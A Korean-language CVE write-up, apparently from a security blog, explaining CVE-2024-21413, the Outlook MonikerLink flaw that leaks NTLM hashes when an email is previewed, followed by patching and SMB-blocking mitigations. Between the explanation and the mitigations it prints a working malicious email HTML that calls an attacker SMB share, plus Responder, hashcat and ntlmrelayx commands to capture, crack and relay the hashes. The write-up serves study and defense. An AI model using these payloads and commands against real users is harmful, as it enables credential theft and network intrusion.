/CVE 분석/CVE-2024-21413
CriticalCVSS 9.82024-02-13

CVE-2024-21413: Outlook MonikerLink NTLM 해시 탈취 (CVSS 9.8)

Microsoft Outlook에서 MonikerLink를 활용해 피해자가 이메일을 열기만 해도 NTLM 인증 해시가 유출되는 취약점. 별도 클릭 없이 Preview Pane만으로도 트리거 가능.

#Outlook#NTLM#MonikerLink#Windows#Credential Theft

개요

항목 내용
CVE ID CVE-2024-21413
별칭 MonikerLink
CVSS 점수 9.8 (Critical)
영향 제품 Microsoft Outlook (여러 버전)
취약점 유형 NTLM 자격증명 탈취 → 잠재적 RCE
인증 필요 ❌ (이메일 열기만으로 트리거)
발견 Check Point, 2024년 2월
패치 2024년 2월 Patch Tuesday

기본 원리: NTLM 인증과 SMB

Windows NTLM 인증 흐름

Windows 네트워크 인증에는 NTLM(NT LAN Manager) 프로토콜이 사용된다. 특히 SMB(파일 공유, 포트 445)에 연결할 때 자동으로 NTLM 인증이 시도된다.

NTLM 인증 흐름 (Challenge-Response):
  클라이언트 → 서버: NEGOTIATE (인증 시작)
  서버 → 클라이언트: CHALLENGE (8바이트 랜덤값)
  클라이언트 → 서버: AUTHENTICATE
    = HMAC-MD5(NT_HASH, Challenge + 기타 데이터) = Net-NTLMv2 해시

Net-NTLMv2 해시 특성:
  - 비밀번호 평문 없이 NT 해시만으로 계산됨
  - 서버로 전송되는 해시가 매번 다름 (Challenge가 달라서)
  - Pass-the-Hash에 직접 사용 불가 (Net-NTLMv2는 PtH 안 됨)
  - 오프라인 크래킹 가능 (hashcat -m 5600)

중요: Windows는 SMB 서버에 연결할 때 사용자가 클릭하지 않아도
      자동으로 NTLM 인증을 시도한다.

UNC 경로와 SMB 자동 인증

UNC(Universal Naming Convention) 경로:
  \\SERVER\SHARE\FILE
  예: \\192.168.1.1\C$\Windows\system.ini

Windows가 UNC 경로를 접근하려 할 때:
  1. TCP 445 포트로 SMB 연결 시도
  2. NTLM 인증 자동 수행 (사용자 알림 없음!)
  3. 서버가 악의적이면 Net-NTLMv2 해시를 캡처할 수 있음

Responder 도구: 이 원리를 이용해 SMB/HTTP/DNS 서버를 열어
                NTLM 인증 해시를 수집하는 도구

취약점 원리: MonikerLink

Outlook의 보안 조치

Outlook은 이메일 내 위험한 링크를 자동으로 차단한다.

차단되는 것:
  file:///\\attacker.com\share   → 차단 (file:// 스키마 + UNC)
  \\attacker.com\share           → 차단 (순수 UNC 경로)

이유: 이런 링크를 클릭하면 Windows가 SMB 연결을 시도하므로
     NTLM 해시가 유출될 수 있음

! 문자를 이용한 우회 (MonikerLink)

Windows OLE/COM 시스템에서 ! 문자는 특별한 의미를 가진다. Moniker(모니커)는 COM 객체를 식별하는 이름이며, ! 는 모니커 경로에서 구분자 역할을 한다.

file:///\\attacker.com\share       → Outlook이 차단
file:///\\attacker.com\share\!doc  → !! Outlook이 차단하지 않음 !!

이유: ! 문자 뒤에 오는 부분이 OLE 모니커 활성화 경로로 해석되어
     Outlook의 보안 검사 코드 경로를 우회함
공격 흐름:
1. 이메일 본문에 숨겨진 MonikerLink 삽입:
   <img src="file:///\\attacker.com\share\!logo.png" width="1" height="1">
   (1x1 픽셀 이미지 → 사용자 눈에 안 보임)

2. 피해자가 이메일을 열거나 미리보기 창에서 볼 때
   Outlook이 이미지를 자동으로 로드하려 시도

3. Windows가 \\attacker.com\share에 SMB 연결 시도

4. SMB 연결 중 NTLM 인증 자동 수행
   → 피해자의 Net-NTLMv2 해시가 공격자 서버에 전송됨

공격 설정

# Responder 설치 및 실행 (공격자 서버)
# pip install responder
sudo responder -I eth0 -wrf
# -I eth0: 네트워크 인터페이스
# -w: WPAD 프록시 서버 활성화
# -r: NBT-NS 응답 활성화
# -f: 핑거프린팅

# Responder가 SMB 서버를 열고 연결을 기다림
# NTLM 인증 해시를 자동으로 캡처
<!-- 악성 이메일 HTML -->
<html>
<body>
  <!-- 1x1 픽셀 이미지 — 사용자에게 보이지 않음 -->
  <img src="file:///\\192.168.1.100\share\!image.png" width="1" height="1">
  <!-- 또는 -->
  <a href="file:///\\192.168.1.100\C$\!document">클릭하세요</a>
</body>
</html>
Responder 출력 (해시 캡처):
[SMB] NTLMv2-SSP Client   : 192.168.10.50
[SMB] NTLMv2-SSP Username : COMPANY\john.doe
[SMB] NTLMv2-SSP Hash     : john.doe::COMPANY:aabbccdd11223344:ABCDEF1234567890...:...

탈취한 해시 활용

# 방법 1: 오프라인 크래킹 (hashcat)
# Net-NTLMv2는 -m 5600
hashcat -m 5600 captured_ntlmv2.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 captured_ntlmv2.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# 크래킹 성공 시: 평문 비밀번호 획득 → 직접 로그인 가능
# 방법 2: NTLM Relay 공격 (더 강력)
# Net-NTLMv2를 크래킹하지 않고 다른 서버로 중계(relay)
# 단, 같은 서버에 relay는 불가 (MS08-068 패치로 차단)

# Responder: 해시만 캡처 (SMB 서버 역할, relay 없음)
sudo responder -I eth0 -A  # 분석 모드 (relay 시 함께 사용)

# ntlmrelayx: NTLM 해시를 다른 서버로 중계
sudo impacket-ntlmrelayx \
  -t smb://192.168.1.100 \   # 중계 대상 서버
  --smb2support \
  -i                          # 인터랙티브 쉘 모드

# 결과: 피해자의 NTLM 인증을 192.168.1.100에 중계
#        → 피해자 권한으로 파일 공유 접근 또는 명령 실행

Preview Pane의 위험성

이 취약점이 특히 위험한 이유:

사용자 행동 단계별 위험:
  이메일 수신만         → 안전 (아직 처리 없음)
  미리보기 창 표시      → ⚠️ 위험! (Outlook이 HTML 자동 렌더링)
  이메일 클릭해서 열기  → ⚠️ 위험!
  링크/첨부 클릭        → 보통 취약점에서 요구하는 단계

CVE-2024-21413은 미리보기 창만으로도 트리거됨
→ 피해자가 아무것도 클릭하지 않아도 해시가 유출됨
→ "Zero-click" 공격으로 분류

대응 방법

# 1. 즉시 패치
# 2024년 2월 Patch Tuesday Windows Update 적용
# KB5034763 또는 관련 보안 업데이트 확인

# 2. SMB 아웃바운드 차단 (가장 효과적인 완화)
New-NetFirewallRule `
  -DisplayName "Block Outbound SMB" `
  -Direction Outbound `
  -Protocol TCP `
  -RemotePort 445 `
  -Action Block

# 3. NTLM 인증 제한 (Kerberos 강제)
# 그룹 정책: 컴퓨터 구성 → Windows 설정 → 보안 설정 → 로컬 정책 → 보안 옵션
# "네트워크 보안: NTLM 제한 - 원격 서버에 나가는 NTLM 트래픽 거부"

# 4. Outlook Protected View 설정
# 파일 → 옵션 → 트러스트 센터 → 트러스트 센터 설정 → Protected View
# → 모든 외부 콘텐츠에 대해 Protected View 활성화

교훈

1. Zero-click 취약점의 심각성
   - 사용자가 아무것도 하지 않아도 자격증명 유출 가능
   - 이메일 클라이언트의 "미리보기 기능"이 공격 벡터가 됨
   - 이메일 HTML 렌더링은 신뢰할 수 없는 콘텐츠 실행

2. NTLM 해시 유출의 파급 효과
   - 직접 Pass-the-Hash는 불가능하지만 크래킹 가능
   - NTLM Relay로 크래킹 없이도 자격증명 악용 가능
   - 내부망에서 SMB 445 아웃바운드 차단이 필수

3. 방어 심층화(Defense in Depth)
   - 패치 단독으로는 부족 → SMB 아웃바운드 차단 추가
   - 이메일 보안 게이트웨이에서 외부 콘텐츠 참조 차단
   - NTLM 대신 Kerberos 강제 사용 정책